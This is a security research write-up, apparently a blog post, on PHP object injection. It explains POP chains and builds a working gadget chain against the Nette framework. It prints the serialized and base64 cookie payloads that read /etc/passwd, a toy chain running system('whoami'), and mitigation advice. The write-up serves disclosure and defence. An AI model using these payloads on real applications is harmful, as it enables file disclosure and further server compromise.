image

PHP Object injection


PHP Object injection occurs when user input is supplied to unserialize(). The misconception is that using PHP’s unserialize() is bad practice when in reality there are plenty of reasons for developers to serialize and unserialize data and it’s sometimes unavoidable when running an application that uses multiple programming languages. It’s because of this fact that the entire bug class is still relevant today.

Where in the past the available classes were limited to whatever was included from the file-system, the introduction of auto loaders and many frameworks implementing their own spl_autoload_register() has increased the scope to automatically include the necessary files needed whenever a new object is created. This means classes that were specifically designed for debugging or development can be utilized without being called in the original application.

A bad actor can abuse internal functionality to trigger another bug class on applications incorrectly checking and validating strings supplied to the function. While PHP core developers have attempted to prevent such a bug class from happening, the awareness of the dangers still elude many experienced and new developers to the language. Many CMS platforms and frameworks rely on serialized strings for storing data. This has caused a surge of object injection vulnerabilities over the past decade. An optional second parameter has been added to help white-list specific class names and to disable object instantiation entirely but this feature is rarely used.

unserialize(string $data, array $options = []): mixed

If an object gets unserialized, PHP will check for the magic method __wakeup() in the class definition and execute accordingly. When the object has no more references or the shutdown sequence is initiated the __destruct() method is called if defined or just exit as standard.You’ll notice the __construct() method is never normally executed when unserializing objects, there are however ways to trigger __construct and other magic method to run using gadget chains. For simplicity we will stick to the magic methods of __wakeup and __destruct.

It’s also worth noting that a common patch for object injection bug classes is to implement the __wakeup method on the class in question and throw and exception to prevent the class being unserialized

Public function wakeup() {
              throw new \BadMethodCallException('Unserializing forbidden.');
}


Property Oriented Programming Chains

 

Property Oriented Programming, or POP for short, chains are to object injection what ROP are to buffer overflows. Small pieces of code created by the developer that can be chained together and manipulated, causing execution to change from what was intended. Every POP chain is unique because it involves gaining control over the properties within an object itself to change the control flow of execution. While object injection vulnerabilities are far known in the PHP space, it takes knowledge of both PHP fundamentals and the software being targeted to create the most sophisticated POP chains. A POP chain can vary in severity from a simple auth-bypass to complete application takeover depending on the classes available in the current scope. Below is a basic example of how control flow can be changed with control of an object.

class QueryBuilder { 
public $query; 
public $bound;

public function construct(PDOStatement $stmt, $params) {
       $this->query = $stmt;
       $this->bound = $params;
    }

public function destruct() {
       $this->query->execute($this->bound);
    }

}
class Shell {
    public function execute(string $command) { system($command);
    }
}


As you can see both classes have reference to a method called execute(). If we can change the control flow from calling the intended PDOStatement::execute()  to Shell::execute() we will be able to run shell commands. We can build an attack payload by recreating the object and changing the value of the properties.

class Shell {

    public function execute(string $command) { 
       system($command);
    }
}
class QueryBuilder {
    public function construct() {
       $this->query = new Shell;
       $this->bound = 'whoami';
    }
}
print serialize(new QueryBuilder);

// O:12:"QueryBuilder":2:{s:5:"query";O:5:"Shell":0:{}s:5:"bound";s:6:"whoami";}

Now when the application unserializes our payload, we have poisoned the object. We can check with the var_dump() function in PHP.

var_dump(unserialize('O:12:"QueryBuilder":2:{s:5:"query";O:5:"Shell":0:{}s:5:"boun d";s:6:"whoami";}'));

test.php:16:
    class QueryBuilder#66 (2) { 
       public $query =>
          class Shell#65 (0) {
       }
       public $bound => string(6) "whoami"
    }

You will also notice that the current user the PHP script is running under should be displayed on the page. We have successfully poisoned the object and executed a system(‘whoami’) call.

More advanced POP chains involve chaining multiple classes together to achieve unexpected execution on the target machine, often abusing multiple     destruct() or    wakeup() calls to chain more objects and access more methods to abuse.

LFI POP Chain in Nette Framework

 

While this POP chain can’t (to my knowledge at least) be ran on any default Nette install and relies on a developer calling unserialize() on untrusted input. It does highlight what is possible still in modern frameworks. Even what people consider battle-tested and hardened.

 

We start with the Nette\Database\Table\Selection  class which has a     destruct() magic method with a function call inside

# Nette\Database\Table\Selection:: destruct()
public function destruct()
{
       $this->saveCacheState();
}

Whenever the object has no more references or the shutdown sequence is called, the method saveCacheState() is called

# Nette\Database\Table\Selection::saveCacheState() 
protected function saveCacheState(): void
{
    if (
       $this->observeCache === $this && $this->cache
       && !$this->sqlBuilder->getSelect()
       && $this->accessedColumns !== $this->previousAccessedColumns
    ) {
       $previousAccessed = $this->cache->load($this->getGeneralCacheKey());
       $accessed = $this->accessedColumns;
       $needSave = is_array($accessed) && is_array($previousAccessed)
          ? array_intersect_key($accessed, $previousAccessed) !== $accessed
          : $accessed !== $previousAccessed;
       if ($needSave) {
          $save = is_array($accessed) && is_array($previousAccessed)
             ? $previousAccessed + $accessed
             : $accessed;
          $this->cache->save($this->getGeneralCacheKey(), $save);
          $this->previousAccessedColumns = null;
       }
    }
}

The first condition can be forced to evaluate to true by manipulating the object, from here we can start to build our payload using the properties we can control. $this->observeCache just needs to be a reference to the current object. $this->cache is clearly an object as it calls methods later in the code snippet, for now we can just use stdClass  as a base and update it later. As long as $this->accessedColumns  and $this- >previousAccessedColumns are not the same, the condition should be met.

# Building our Payload 
namespace Nette\Database\Table {
    class SqlBuilder {}
    class Selection {
       public $accessedColumns = 1;
       public $previousAccessedColumns = 2;
       public function construct() {
          $this->cache = new \stdClass;
          $this->observeCache = $this;
          $this->sqlBuilder = new SqlBuilder;
       }
    }
}

But we still have issues with !$this->sqlBuilder->getSelect() call failing, let’s look what SqlBuilder::getSelect() does.

# Nette\Database\Table\SqlBuilder::getSelect() 
public function getSelect(): array
{
       return $this->select;
}

We’re forced with a return type of array however because of PHP’s loose typing, we can still force a return since ![] is equivalent to true. Now we can amend our payload and add a select property for the SqlBuilder object.

# Building our Payload
namespace Nette\Database\Table { class SqlBuilder {
       public $select = [];
    }
    class Selection {
       public $accessedColumns = 1;
       public $previousAccessedColumns = 2;
       public function construct() {
          $this->cache = new \stdClass;
          $this->observeCache = $this;
          $this->sqlBuilder = new SqlBuilder;
       }
    }
}

Awesome, we managed to manipulate the properties to satisfy the if() condition, now we step through to the next piece of code.

$previousAccessed = $this->cache->load($this->getGeneralCacheKey());

You have probably noticed that we have control of $this->cache, so we can change the load() method that’s expected to be called to another that would give us more access. After looking through the framework for more load methods I found this class to be interesting and a potential Local File Inclusion chain we could utilize:

# Nette\DI\Config\Adapters\PhpAdapter;
final class PhpAdapter implements Nette\DI\Config\Adapter
{
       use Nette\SmartObject;
       /**
       * Reads configuration from PHP file.
       */
       public function load(string $file): array
       {
          return require $file;
       }

The argument being supplied to the load() method is the result of the $this- >getGeneralCacheKey() call, so let’s look at getGeneralCacheKey() and see what it does.

# Nette\Database\Table\Selection::getGeneralCacheKey() 
protected function getGeneralCacheKey(): string
{
       if ($this->generalCacheKey) {
          return $this->generalCacheKey;
       }

This is just what we need, not only can we force the return value but even better the return type is a string; exactly what we need for file names. Now we can build the full payload.

# Building our Payload
namespace Nette\DI\Config\Adapters { 
       class PhpAdapter {}
}
namespace Nette\Database\Table {
    use Nette\DI\Config\Adapters\PhpAdapter;
    class SqlBuilder {
       public function construct() {
          $this->select = [];
       }
    }
    class Selection {
       public $accessedColumns = 1;
       public $previousAccessedColumns = 2;
       public function construct() {
          $this->cache = new PhpAdapter;
          $this->observeCache = $this;
          $this->sqlBuilder = new SqlBuilder;
          $this->generalCacheKey = '/etc/passwd';
       }
    }
}
print(serialize(new Selection));

Which brings us to the final payload:

O:30:"Nette\Database\Table\Selection":6:{s:15:"accessedColumns";i:1;s:23:"previous AccessedColumns";i:2;s:5:"cache";O:35:"Nette\DI\Config\Adapters\PhpAdapter":0:{}s: 12:"observeCache";r:1;s:10:"sqlBuilder";O:31:"Nette\Database\Table\SqlBuilder":1:{ s:6:"select";a:0:{}}s:15:"generalCacheKey";s:11:"/etc/passwd";}

 

Now we have built our POP chain. Let’s create a demo Nette page and see if it includes the contents of /etc/passwd. We’ll have to introduce our own unserialize vulnerability to emulate a developers mistake.

<?php declare(strict_types=1);
require_once DIR     . '/../vendor/autoload.php';
$configurator = App\Bootstrap::boot();
$container = $configurator->createContainer();
$application = $container->getByType(Nette\Application\Application::class);
$application->run();
$request = $container->getService('http.request');

# We are introducing this vulnerability to test our payload 
unserialize($request->getQuery('test') ?? 'a:0:{}');

When we inject our payload through the test variable we see the contents of /etc/passwd displayed on the page. Our POP chain was successfully executed!

Example Use Case

 

A common way of storing session data is by serializing arrays of information and setting them as browser cookies. A developer can use these cookies to unserialize the data and convert it back into an array. Even the most popular content managing systems in the past have used a method similar to this; often attempting to obfuscate the data instead of validating it the correct way.

Below I have recreated a scenario based on a vulnerability discovered during an audit on a client’s recent Nette instance.

Nette demo setup


<?php declare(strict_types=1);
define(' NETTE ', dirname( DIR )); require_once NETTE           . '/vendor/autoload.php';
$configurator = App\Bootstrap::boot();
$configurator->addConfig( NETTE     . '/config/common.neon');
$configurator->enableTracy( NETTE     . '/log');
$configurator->setTempDirectory( NETTE      . '/temp');
$container = $configurator->createContainer();
$application = $container->getByType(Nette\Application\Application::class);
$application->run();
$requests = $container->getService('http.request');
$session = unserialize(base64_decode($requests->getCookie('session')));
$id = Nette\Utils\Arrays::first($session);
$name = Nette\Schema\Users::getName($id);

With an example of the structure when base64 encoded, decoded and unserialized

Screen shot of encoded data

encoded:
YTo0OntzOjI6ImlkIjtpOjIzO3M6MTA6InNlc3Npb25faWQiO3M6MzI6ImIxZTVmMTU0Njc4YTY3MWMxN2 E2MzZhODcwY2I4MDhjIjtzOjg6InNldHRpbmdzIjtzOjI4OiJjb29raWVfYWNjZXB0PTEscmVnaXN0ZXJl ZD0xIjtzOjY6ImV4cGlyeSI7aToxNjYxMjczMjkwO30
decoded [serialized string]:
a:4:{
       s:2:"id";i:23;
       s:10:"session_id";s:32:"b1e5f154678a671c17a636a870cb808c"; s:8:"settings";s:28:"cookie_accept=1,registered=1"; s:6:"expiry";i:1661273290;
}
unserialized:
Array (
       'id' => (int) 23,
       'session_id' => "b1e5f154678a671c17a636a870cb808c", 
       'settings' => "cookie_accept=1,registered=1",
       'expiry' => 166127329 
)

This scenario has been recreated using minimal setup .  I have emulated the profile page to better demonstrate how the data was interpreted on the client system. The client was setting account information in a cookie and later unserializing it to get session data on the current user.

The main parts we need to focus on are these lines:

$session = unserialize(base64_decode($requests->getCookie('session')));
$id = Nette\Utils\Arrays::first($session);
$name = Nette\Schema\Users::getName($id);

From this we can see that the developer intended to store the session data in a cookie as a base64 encoded value, to make fetching the session data between requests easier. While this idea isn’t uncommon it is bad practice as it allows an attacker to inject objects through the cookie value and change execution flow.

Changing the base64 encoded string from the expected value to a base64 encoded value of our previous POP chain should trigger the LFI bug and load the contents of /etc/passwd. Let’s try it out.

Encoded POP chain value

Now we edit the contents of the session cookie value to our base64 payload and refresh the page:

session=TzozMDoiTmV0dGVcRGF0YWJhc2VcVGFibGVcU2VsZWN0aW9uIjo2OntzOjE1OiJhY2Nlc3NlZENvbHVtbnM iO2k6MTtzOjIzOiJwcmV2aW91c0FjY2Vzc2VkQ29sdW1ucyI7aToyO3M6NToiY2FjaGUiO086MzU6Ik5ldHRlXERJXE NvbmZpZ1xBZGFwdGVyc1xQaHBBZGFwdGVyIjowOnt9czoxMjoib2JzZXJ2ZUNhY2hlIjtyOjE7czoxMDoic3FsQnVpb GRlciI7TzozMToiTmV0dGVcRGF0YWJhc2VcVGFibGVcU3FsQnVpbGRlciI6MTp7czo2OiJzZWxlY3QiO2E6MDp7fX1z OjE1OiJnZW5lcmFsQ2FjaGVLZXkiO3M6MTE6Ii9ldGMvcGFzc3dkIjt9

 

/etc/password displayed on screen

As you can see the contents of /etc/passwd are displayed on the page to us, we successfully performed a Local File Inclusion attack with our POP chain.

Impact

 

The impact for this POP chain depends on the developers using the Nette framework and how/where they call unserialize(). It has the potential to be a pre-auth bug if for example; a developer calls the function to extract theme information from a cookie value. The most common point of entry for unserialize bugs is in admin panels and routes where less concern is given for security in favour of portability and performance.

It is difficult to analyse the impact of this chain, but if an unserialize bug was discovered in Nette’s source code, it would mean all instances running Nette would be vulnerable to the LFI POP chain and would affect all current and future Nette installs while this chain is still abusable. A sophisticated attacker could also leverage the LFI vulnerability from the POP chain to gain further access to the system through log poisoning. A server with the php.ini setting of allow_url_include set to On would also be vulnerable to RFI or even SSRF through the same chain, but as this setting is off by default we disclose this as an LFI bug.

Recommendations

 

There are two ways this vulnerability can be prevented, the first and preferred method is to prevent unserialize from unserializing unexpected objects using the second parameter.

To disable all classes:

unserialize($input, [“allowed_classes” => false]);

To allow specific classes:

unserialize($input, [“allowed_classes” => [
       ‘classOne’, ‘classTwo’,
]]);

Alternatively the developers of Nette Framework can disable the use of unserializing the Nette\Database\Table\Selection class and prevent the chain being called, however this may not be possible as some frameworks allow for some classes to be unserialized:

public function wakeup() {
       throw new \BadMethodCallException(
       'Unserializing Nette\Database\Table\Selection class is forbidden.');
}